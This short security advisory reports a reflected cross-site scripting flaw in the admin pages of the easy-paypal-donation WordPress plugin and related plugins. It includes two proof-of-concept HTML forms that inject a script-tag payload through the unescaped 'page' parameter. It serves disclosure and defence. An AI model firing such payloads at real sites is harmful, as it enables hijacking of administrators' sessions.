The plugins do not escape a page parameter before outputting it back in an attribute in various admin pages, leading to Reflected Cross-Site Scripting issues. The issues were reported to the vendor on August 10th, 2021
Example in easy-paypal-donation
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=wpedon_buttons" method="POST">
<input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=wpedon_menu" method="POST">
<input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>